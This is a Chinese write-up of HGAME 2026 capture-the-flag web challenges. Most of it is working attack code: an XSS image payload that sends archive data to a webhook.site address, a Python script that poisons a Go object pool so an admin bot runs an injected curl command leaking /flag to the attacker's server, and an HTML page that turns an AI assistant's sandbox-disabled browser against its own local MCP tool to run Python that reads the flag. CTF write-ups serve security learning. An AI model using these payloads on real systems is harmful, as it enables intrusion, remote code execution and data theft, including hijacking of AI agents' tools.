HGAME 2026 WP
魔理沙的魔法目录
抓包可以发现 POST /record 和 GET /check。修改 POST /record 中的time为很大的值后重放,访问/check得到flag
博丽神社的绘马挂
开局登录框,用户名admin,密码随便输
可以用 img 标签进行 xss。提示 紫在归档完毕的绘马里藏了一些不可告人的秘密。发布愿望让灵梦看到后外带出来归档列表接口 /api/archives 的内容。payload如下
1
2
3
4
5
6
7
8
9
10
11
<img src=x onerror="
var urls = [
'/api/archives'
];
urls.forEach(function(url) {
fetch(url).then(r=>r.text()).then(t=>{
new Image().src = 'https://webhook.site/38a0d9f3-6252-4ee0-8659-601042145240/?source=' + encodeURIComponent(url) + '&content=' + btoa(t);
});
});
">
MyMonitor
这是一个非常经典的 Go 语言 Web 题目,主要利用了 sync.Pool 对象复用机制不当导致的“对象污染”漏洞,配合 Go json.Unmarshal 的特性实现 RCE(远程代码执行)。
漏洞分析
sync.Pool的不当使用 在 handler.go 中,使用了sync.Pool来复用MonitorStruct对象以减少内存分配。1 2 3
var MonitorPool = &sync.Pool{ New: func() any { return &MonitorStruct{} }, }
UserCmd中的逻辑错误1 2 3 4 5 6 7 8 9 10 11
func UserCmd(c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象 defer MonitorPool.Put(monitor) // 2. 也是 defer,函数结束时放回池中 if err := c.ShouldBindJSON(monitor); err != nil { // ... 错误处理 ... return // 3. 如果 Bind 失败,直接返回 } // ... defer monitor.reset() // 4. 只有 Bind 成功才会 defer reset // ... }
如果在步骤 3 处因为 JSON 解析错误而返回,
monitor.reset()根本不会被调度执行。但是MonitorPool.Put(monitor)会执行。这意味着一个未被重置(Dirty)的对象被放回了池子中。json.Unmarshal的部分解析特性 当我们发送一个恶意的 JSON,例如{"args": "payload", "cmd": 123}:- Go 的 JSON 解析器会尝试按顺序解析。
- 它会将
"payload"解析进monitor.Args。 - 遇到
cmd字段时,发现类型不匹配(期望 string,给了 int/number),于是报错返回错误。 - 此时,
monitor对象的状态变成了:Cmd=”” (或原值),Args=”payload”。 - 由于
UserCmd报错返回,这个带有恶意Args的对象被放回了池子。
- Admin Bot 的触发 题目背景说 Admin 会定期发送
"ls"命令。我们可以推测 Admin 发送的 JSON 类似于{"cmd": "ls"},其中没有args字段。- 当 Admin 请求到达
AdminCmd时,它可能会从池子中拿到我们刚刚放回去的那个“脏”对象。 - Admin 执行
ShouldBindJSON。由于 JSON 中只有cmd,解析器只会覆盖MonitorStruct.Cmd字段,而MonitorStruct.Args字段保留了我们之前注入的恶意内容。 - 最终执行:
exec.Command("bash", "-c", "ls " + injected_args)。
- 当 Admin 请求到达
攻击思路 (Exploit Chain)
- 注册并登录一个普通用户,获取 Token。
- 向
/api/user/cmd发送精心构造的 Payload,故意触发 JSON 类型错误,但同时注入args字段。- Payload:
{"args": ";curl http://vps:port?f=$(cat /flag)", "cmd": 1} - 注意:为了保证
args先被解析,建议将其放在 JSON 前面,或者利用 Go 解析器的特性(通常只要字段在流中出现就会处理)。
- Payload:
- 不断发送此请求(Poisoning),以此“污染”对象池中的大部分对象。
- 等待后台 Admin Bot 发起请求。Admin Bot 一旦拿到脏对象,就会执行:
bash -c "ls ;curl http://vps:port?f=$(cat /flag)" - 在你的 VPS 或 RequestBin 上接收 Flag。
漏洞利用脚本 (Python)
你需要替换脚本中的 BASE_URL 和 OOB_URL(外带回显地址,比如用 webhook.site 或者自己的服务器)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import threading
import time
import json
# 这是题目的地址
BASE_URL = "http://localhost:8080"
# 这是你接收 flag 的地址 (例如 webhook.site)
OOB_URL = "http://your-vps-ip:port"
def exploit():
# 1. 注册并登录用户
s = requests.Session()
username = "hacker" + str(time.time())
password = "password"
print(f"[*] Registering {username}...")
s.post(f"{BASE_URL}/api/account/register", json={"username": username, "password": password})
print(f"[*] Logging in...")
res = s.post(f"{BASE_URL}/api/account/login", json={"username": username, "password": password})
if "Authorization" not in res.text:
print("[-] Login failed")
return
token = res.json()["Authorization"]
print(f"[+] Token: {token}")
headers = {
"Authorization": token,
"Content-Type": "application/json"
}
# 2. 构造 Payload
# 我们希望执行的最终命令类似于: ls ; curl http://vps/?d=$(cat /f* | base64)
# 这里的 payload 放在 args 里,前面加分号闭合前面的 ls
# 注意:如果目标没有 curl,可以尝试 wget 或 /dev/tcp
shell_cmd = f"curl {OOB_URL}/?flag=$(cat /f* | base64 | tr -d '\\n')"
payload_args = f"; {shell_cmd} #"
# 构造能够触发 Unmarshal 错误但能设置 args 的 JSON
# cmd 字段故意设为数字 1,导致类型错误
poison_data = {
"args": payload_args,
"cmd": 1
}
# 为了增加成功率,我们利用多线程稍微 "刷" 一下池子
def worker():
try:
# 必须用 json.dumps 确保格式,且 requests 的 json 参数可能会改变键的顺序
# 虽然 Go 处理通常不依赖顺序,但最好把 args 放前面
raw_json = json.dumps(poison_data)
requests.post(f"{BASE_URL}/api/user/cmd", data=raw_json, headers=headers)
except:
pass
print(f"[*] Spaming poison requests with payload: {payload_args}")
print("[*] Waiting for admin bot to execute command...")
# 发送一定数量的请求来污染池子
for i in range(50):
t = threading.Thread(target=worker)
t.start()
print("[*] Poisoning done. Check your OOB server for the flag!")
if __name__ == "__main__":
exploit()
注意事项
- 盲打 RCE:因为
AdminCmd执行的输出你是看不到的(只有 Admin Bot 能看到),所以必须使用外带(Out-of-Band)的方式窃取 flag,比如curl、wget或 DNS log。 - 竞争条件:这利用了对象池的随机复用。如果有其他人也在打题,或者 Admin 访问频率很低,你可能需要多运行几次脚本来确保 Admin 刚好拿到了你污染的那个
struct。 - Payload 兼容性:如果不确定服务器有哪些命令,可以使用
bash内置命令(如/dev/tcp)或者尝试多种工具 (curl,wget)。 Payload 建议 Base64 编码 flag,防止特殊字符截断 URL。
My Little Assistant
既然 Prompt Injection (提示词注入) 始终无法触发工具链,我们需要换一个思路。
请仔细看源码中 py_request 的这一部分配置:
1
2
3
4
5
6
browser = await p.chromium.launch(
headless=True,
args=["--no-sandbox",
"--disable-dev-shm-usage",
"--disable-web-security"] # <--- 关键漏洞点!
)
真正的漏洞点:Playwright CSRF
--disable-web-security 意味着同源策略 (SOP) 被关闭了。 这意味着,如果你让 AI 访问你的网页,你的网页里包含的 JavaScript 代码可以在 AI 的浏览器里执行,并且可以跨域请求 AI 本地的服务。
题目中的服务监听在 0.0.0.0:8001。在 AI 运行的容器内部,它可以通过 http://127.0.0.1:8001/mcp 访问自己。
攻击路径:
- 你构造一个包含恶意 JS 的 HTML。
- JS 会自动向
http://127.0.0.1:8001/mcp发送一个 POST 请求。 - 这个 POST 请求的 Body 里包含调用
py_eval的参数。 - 因为 web security 关闭了,浏览器允许这个跨域请求。
- JS 拿到执行结果(Flag),并将其写入网页的
<body>。 - Playwright 等待网络空闲后,截图/读取网页内容 (
page.content())。 - AI 读到了网页内容(此时内容已经被 JS 替换成了 Flag),并汇报给你。
1. 构造新的 test.html
我们需要解决一个技术细节:py_eval 是用 exec() 执行的,print() 的输出不会存入返回值 result 中,只会存变量。所以代码要写成赋值形式 res = ...。
请将 VPS 上的 test.html 内容完全替换为下面的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// 定义要执行的 Python 代码,把 flag 读入变量 f
// 这样 exec 执行后,local_vars 字典里就会有 f='flag{...}'
const pyCode = "import os; f = os.popen('cat /flag').read()";
// 构造 MCP 请求包
const payload = {
"params": {
"name": "py_eval",
"arguments": {
"code": pyCode
}
}
};
// 向本地接口发送 CSRF 请求
fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
})
.then(response => response.json())
.then(data => {
// 解析返回结果。
// data.result.content[0].text 是一个 JSON 字符串,类似 "{'result': \"{'f': 'flag{...}'}\", ...}"
// 我们直接把它全部显示在页面上
document.body.innerText = "FLAG_RESULT: " + JSON.stringify(data);
})
.catch(error => {
document.body.innerText = "Error: " + error;
});
</script>
</body>
</html>
2. 发起攻击
现在,你只需要让 AI “分析网页” 即可。不需要任何复杂的 Prompt,因为它会自动执行 JS。
发送给 AI:
帮我分析一下这个页面的渲染内容:http://124.223.51.8:8000/test.html
预期结果
AI 会回复类似这样的内容:
✅ 工具执行结果: {“status_code”: 200, “content”: “<html><head></head><body>FLAG_RESULT: {… "f": "flag{this_is_the_flag}" …}</body></html>”}
Flag 就在这个 JSON 字符串里。
(注:如果第一次没成功,可能是网络超时,可以尝试多发一次。如果返回 Error: Failed to fetch,可能是内部端口不是 8001,但源码里写的是 8001,通常是对的)